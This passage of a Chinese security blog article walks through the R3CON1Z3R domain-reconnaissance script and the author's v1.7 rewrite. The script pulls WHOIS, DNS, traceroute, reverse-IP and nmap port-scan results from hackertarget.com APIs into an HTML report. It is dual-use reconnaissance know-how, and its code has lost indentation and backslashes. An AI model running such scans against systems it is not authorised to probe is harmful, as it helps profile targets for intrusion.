 | |  / /__   ___) | | | / /  |_|  /_/ |____/   /_____|  /___/  |_| /_|  |_| /_____| |____/  |_|  /_/                                                                         %sBy https://github.com/abdulgaphy - @mrgaphy%s    >|%s       #GAPHY %s         '''%(R, B, R, C, W))

这一部分代码没什么可看的,只是设置颜色及打印Banner,效果可以见下图:

我的环境是Linux,Windows环境没有测试。

2. 检测参数部分

这一部分是我不太满意的地方,在我的修改版本中会有所体现。

if len(sys.argv) < 2 or len(sys.argv) > 2:     header()     print('{}Usage: python3 r3con1z3r.py [domain.com]/n'.format(Y, C))     print('{}Example: python3 r3con1z3r.py google.com/n'.format(Y, C))     print('{}[!] Please specify a domain'.format(Y, C))     sys.exit() else:     url = str(sys.argv[1])

这一部分检测是否提供了domain参数,如果没有,会给出下图所示的提示:

3. 各种API

获取HTTP头部分:

def httpHeader():  baseApi = "http://api.hackertarget.com/httpheaders/?q=" + url  base = requests.get(baseApi).text  return base

该函数功能是获取响应头部分,下面的结果分别是我测试google.com及www.baidu.com得到的。

HTTP/1.1 301 Moved Permanently Location: http://www.google.com/ Content-Type: text/html; charset=UTF-8 Date: Wed, 30 Jan 2019 10:53:05 GMT Expires: Fri, 01 Mar 2019 10:53:05 GMT Cache-Control: public, max-age=2592000 Server: gws Content-Length: 219 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN
HTTP/1.1 200 OK Accept-Ranges: bytes Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Connection: Keep-Alive Content-Length: 277 Content-Type: text/html Date: Thu, 31 Jan 2019 12:14:10 GMT Etag: 575e1f6f-115 Last-Modified: Mon, 13 Jun 2016 02:50:23 GMT Pragma: no-cache Server: bfe/1.0.8.18

进行反向IP查询部分:

def reverseHackTarget():

baseApi = "http://api.hackertarget.com/reverseiplookup/?q=" + url

base = requests.get(baseApi).text

return base

反向IP查找可返回单个IP上托管的域名,我在hackertarget的网站上进行了下面的查询:

结果可想而知了,多得数不胜数。

路径查询部分:

def traceRoute():

baseApi = "http://api.hackertarget.com/mtr/?q=" + url

base = requests.get(baseApi).text

这一部分功能再明显不过了,路由跟踪,在Linux下用traceroute,在windows则是tracert都能实现此功能。

WHOIS部分:

def whoIs():

baseApi = "http://api.hackertarget.com/whois/?q=" + url

base = requests.get(baseApi).text

return base

下面是对google.com进行WHOIS查询的结果:

 Domain Name: GOOGLE.COM    Registry Domain ID: 2138514_DOMAIN_COM-VRSN    Registrar WHOIS Server: whois.markmonitor.com    Registrar URL: http://www.markmonitor.com    Updated Date: 2018-02-21T18:36:40Z    Creation Date: 1997-09-15T04:00:00Z    Registry Expiry Date: 2020-09-14T04:00:00Z    Registrar: MarkMonitor Inc.    Registrar IANA ID: 292    Registrar Abuse Contact Email: abusecomplaints@markmonitor.com    Registrar Abuse Contact Phone: +1.2083895740    Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited    Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited    Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited    Domain Status: serverDeleteProhibited https://icann.org/epp#serverDeleteProhibited    Domain Status: serverTransferProhibited https://icann.org/epp#serverTransferProhibited    Domain Status: serverUpdateProhibited https://icann.org/epp#serverUpdateProhibited    Name Server: NS1.GOOGLE.COM    Name Server: NS2.GOOGLE.COM    Name Server: NS3.GOOGLE.COM    Name Server: NS4.GOOGLE.COM    DNSSEC: unsigned    URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/ >>> Last update of whois database: 2019-01-30T10:53:11Z <<<  For more information on Whois status codes, please visit https://icann.org/epp    The Registry database contains ONLY .COM, .NET, .EDU domains and Registrars.

DNS查询部分:

def dns():

baseApi = "http://api.hackertarget.com/dnslookup/?q=" + url

base = requests.get(baseApi).text

return base

结果中的A、MX、NS、TXT可以参考下图(来自TCP/IP详解卷1):

反向DNS查询部分:

(这一部分没有出现在输出的结果中,不知是不是作者忘记写了)

def reverseDns():

baseApi = "http://api.hackertarget.com/reversedns/?q=" + url

base = requests.get(baseApi).text

return base

hackertarget网站给出的描述:这一项查找可以通过单个IP 8.8.8.8或是某个范围内的IP 127.0.0.1-10 或是CIDR形式127.0.0.1/27。你也同样可以使用主机名比如 example.com。

根据IP获取地理位置部分:

(这一部分也没有出现在输出的结果中,hackertarget指出此项查询目前处于测试阶段,不保证准确性)

def geoIp():

baseApi = "http://api.hackertarget.com/geoip/?q=" + url

base = requests.get(baseApi).text

return base

我对这一部分功能进行的测试发现,执行后会明显感觉到耗费时间增加。所以如果无此需求,建议使用我修改的脚本时也尽量不要使用此项功能。

nmap部分:

def nmap():

baseApi = "http://api.hackertarget.com/nmap/?q=" + url

base = requests.get(baseApi).text

return base

nmap的功能就不用多说了,不过hackertarget上给出的这个API接口是使用了-sV参数,而且只扫描21,22,23,25,80,110,143,443,445,3389这10个端口:

只能购买会员后才能够使用高级功能,作为“贫农”的我自然是没钱买的了,只能看看:

不过这些都不重要,最重要的是朋友使用后告诉我 它的扫描结果存在误报,我测试了一波,果然是这样,各位师傅可以自行测试一下。

另外,我感觉它这个功能写在脚本里有些鸡肋。

查询指向同一DNS服务器部分:

def findSharedServer():

baseApi = "http://api.hackertarget.com/findshareddns/?q=" + url

base = requests.get(baseApi).text

return base

获取页面中的链接部分:

def pageLinks():

baseApi = "http://api.hackertarget.com/pagelinks/?q=" + url

base = requests.get(baseApi).text

return base

更准确的说应该是将页面中的链接提取出来。

4. 生成及保存HTML文件

生成HTML文件部分:

def generateHTML():

create = """<!DOCTYPE html>

<html>

<head>

  <title>R3C0N1Z3R Report</title>

</head>

<body>

 <center> <h1>R3C0N1Z3R Report - [{}]</h1></center>

 <strong>HTTP header information</strong>

<pre>{}</pre>

    <strong>Trace Route</strong>

    <pre>{}</pre> 

  <strong>Whois Information</strong>

<pre>{}</pre>

<strong>DNS server record</strong>

<pre>{}</pre>

<strong><Nmap- running services/strong>

<pre>{}</pre>

<strong>Website on the same server</strong>

<pre>{}</pre>

<strong>Reverse IP Address</strong>

<pre>{}</pre>

<strong>Page Links</strong>

<pre>{}</pre><hr>

<center> All Rights Reserved &copy; <strong>R3CON1Z3R</strong></center>

 

</body>

</html>

    """.format(url,httpHeader(),traceRoute(),whoIs(),dns(),nmap(),findSharedServer(),reverseHackTarget(),pageLinks())

return create

它的页面效果是这样的,很简单:

保存HTML文件:

def saveHTML():

saveFile = open(url + '.html', 'w')

saveFile.write(generateHTML())

saveFile.close()

print('{}[+] HTML Report Successfully Generated{}'.format(Y, C))

print('{}[+] File saved as {}{}.html{}'.format(Y, R, url, C))

print('{}[+] R3CON1Z3R Operation Completed!{}'.format(Y, W))

将结果以domain.html的文件名保存在同一目录下。

修改版本v1.7

#!/usr/bin/env python

# coding: utf-8

# Original Author: Raji Abdulgafar

# Twitter: @mrgaphy

# Mender:ERFZE

# R3CON1Z3R v1.7

import sys

import requests

import argparse

import re

# OS Compatibility : Coloring

if sys.platform.startswith('win'):

    R, B, Y, C, W = '/033[1;31m', '/033[1;37m', '/033[93m', '/033[1;30m', '/033[0m'

    try:

        import win_unicode_console, colorama

        win_unicode_console.enable()

        colorama.init()

    except:

        print('[+] Error: Coloring libraries not installed')

        R, B, Y, C, W = '', '', '', '', ''

else:

    R, B, Y, C, W = '/033[1;31m', '/033[1;37m', '/033[93m', '/033[1;30m', '/033[0m'

# Banner Printing

def header():

    print('''%s

 _____    ____     _____    ___    _   _   __   ______  ____    _____  

|  __ /  |___ /   / ____|  / _ /  | / | | /_ | |___  / |___ /  |  __ / 

| |__) |   __) | | |      | | | | |  /| |  | |    / /    __) | | |__) |

|  _  /   |__ <  | |      | | | | | . ` |  | |   / /    |__ <  |  _  / 

| | / /   ___) | | |____  | |_| | | |/  |  | |  / /__   ___) | | | / / 

|_|  /_/ |____/   /_____|  /___/  |_| /_|  |_| /_____| |____/  |_|  /_/  

                                                            

         %sv1.0 By https://github.com/abdulgaphy - @mrgaphy%s    >|%s       #GAPHY %s

                           %sv1.7 By ERFZE

        '''%(R, B, R, C, W,B)) 

# Api : functionalities

#WEB Tools

def httpHeader():

if args.web or args.all:

baseApi = "http://api.hackertarget.com/httpheaders/?q=" + url

base = requests.get(baseApi).text

return base

else:

return 'NO Result!'

def pageLinks():

if args.web or args.all:

baseApi = "http://api.hackertarget.com/pagelinks/?q=" + url

base = requests.get(baseApi).text

return base

else:

return 'NO Result!'

#nmap

def nmap():

if args.nmap or args.all:

baseApi = "http://api.hackertarget.com/nmap/?q=" + url

result=requests.get(baseApi).text

char_index=result.index('SERVICE/n')+8

nmap_title=result[:char_index]

union_string=re.sub(r'/d{2,4}/[a-zA-Z]{3,5}.*?filtered.*?/n',"",result)

base=nmap_title+union_string

return base

else:

return 'NO Result!'

#IP Address

def reverseHackTarget():

if args.address or args.all:

baseApi = "http://api.hackertarget.com/reverseiplookup/?q=" + url

base = requests.get(baseApi).text

return base

else:

return 'NO Result!'

def geoIp():

if args.address or args.all:

baseApi = "http://api.hackertarget.com/geoip/?q=" + url

base = requests.get(baseApi).text

return base

else:

return 'NO Result!'

#traceRoute

def traceRoute():

if args.trace or args.all:

baseApi = "http://api.hackertarget.com/mtr/?q=" + url

base = requests.get(baseApi).text

return base

else:

return 'NO Result!'

#WHOIS

def whoIs():

if args.whois or args.all:

baseApi = "http://api.hackertarget.com/whois/?q=" + url

base = requests.get(baseApi).text

return base

else:

return 'NO Result!'

#DNS Queries

def dns():

if args.queries or args.all:

baseApi = "http://api.hackertarget.com/dnslookup/?q=" + url

base = requests.get(baseApi).text

return base

else:

return 'NO Result!'

def reverseDns():

if args.queries or args.all:

baseApi = "http://api.hackertarget.com/reversedns/?q=" + url

base = requests.get(baseApi).text

return base

else:

return 'NO Result!'

def findSharedServer():

if args.queries or args.all:

baseApi = "http://api.hackertarget.com/findshareddns/?q=" + url

base = requests.get(baseApi).text

return base

else:

return 'NO Result!'

# Generating reports in HTML format

def generateHTML():

create = """<!DOCTYPE html>

<html>

<head>

  <title>R3C0N1Z3R Report</title>

</head>

<body>

 <center> <h1>R3C0N1Z3R Report - [{}]</h1></center>

    <strong>HTTP header information</strong>

<pre>{}</pre>

<strong>Page Links</strong>

<pre>{}</pre>

<strong>Namp</strong>

<strong><Nmap- running services/strong>

<pre>{}</pre>

<strong>Reverse IP Address</strong>

<pre>{}</pre>

<strong>IP Location Lookup</strong>

<pre>{}</pre>

    <strong>Trace Route</strong>

    <pre>{}</pre> 

    <strong>Whois Information</strong>

<pre>{}</pre>

<strong>DNS server record</strong>

<pre>{}</pre>

<strong>Reverse DNS Lookup</strong>

<pre>{}</pre>

<strong>Website on the same server</strong>

<pre>{}</pre><hr>

<center> All Rights Reserved &copy; <strong>R3CON1Z3R</strong></center>

 

</body>

</html>

    """.format(url,httpHeader(),pageLinks(),nmap(),reverseHackTarget(),geoIp(),traceRoute(),whoIs(),dns(),reverseDns(),findSharedServer())

return create

# Saving the report

def saveHTML():

saveFile = open(url + '.html', 'w')

saveFile.write(generateHTML())

saveFile.close()

print('{}[+] HTML Report Successfully Generated{}'.format(Y, C))

print('{}[+] File saved as {}{}.html{}'.format(Y, R, url, C))

print('{}[+] R3CON1Z3R Operation Completed!{}'.format(Y, W))

if __name__ == '__main__': 

parser=argparse.ArgumentParser()

parser.add_argument('-d','--domain',help='domain')

parser.add_argument('-a','--all',action="store_true",help='ALL functions')

parser.add_argument('-w','--web',action="store_true",help='WEB Tools(httpHeader AND pageLinks)')

parser.add_argument('-n','--nmap',action="store_true",help='nmap')

parser.add_argument('-i','--address',action="store_true",help='IP Address')

parser.add_argument('-t','--trace',action="store_true",help='traceRoute')

parser.add_argument('-s','--whois',action="store_true",help='WHOIS')

parser.add_argument('-q','--queries',action="store_true",help='DNS Queries(dnslookup AND reversedns AND findshareddns)')

args=parser.parse_args()

if args.domain:

header()

url = args.domain

saveHTML()

else:

header()

    print('{}[!] Please specify a domain'.format(Y, C))

    sys.exit()

这是我修改后的代码,主要改动如下:

a. 使用argparse模块,增加参数,使得用户可以选择部分功能执行。

b. 将nmap结果中的filtered的项剔除,不出现到最后的HTML中。(虽然这个功能很鸡肋,但是还是留下了它)

结语

我已经将我修改的v1.7发给了原作者(一个非洲帅哥),如果后期还有改动的话,我会第一时间将代码放到评论区。等到最终它完全修改完成后,会上传到Github。

*本文作者:ERFZE,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。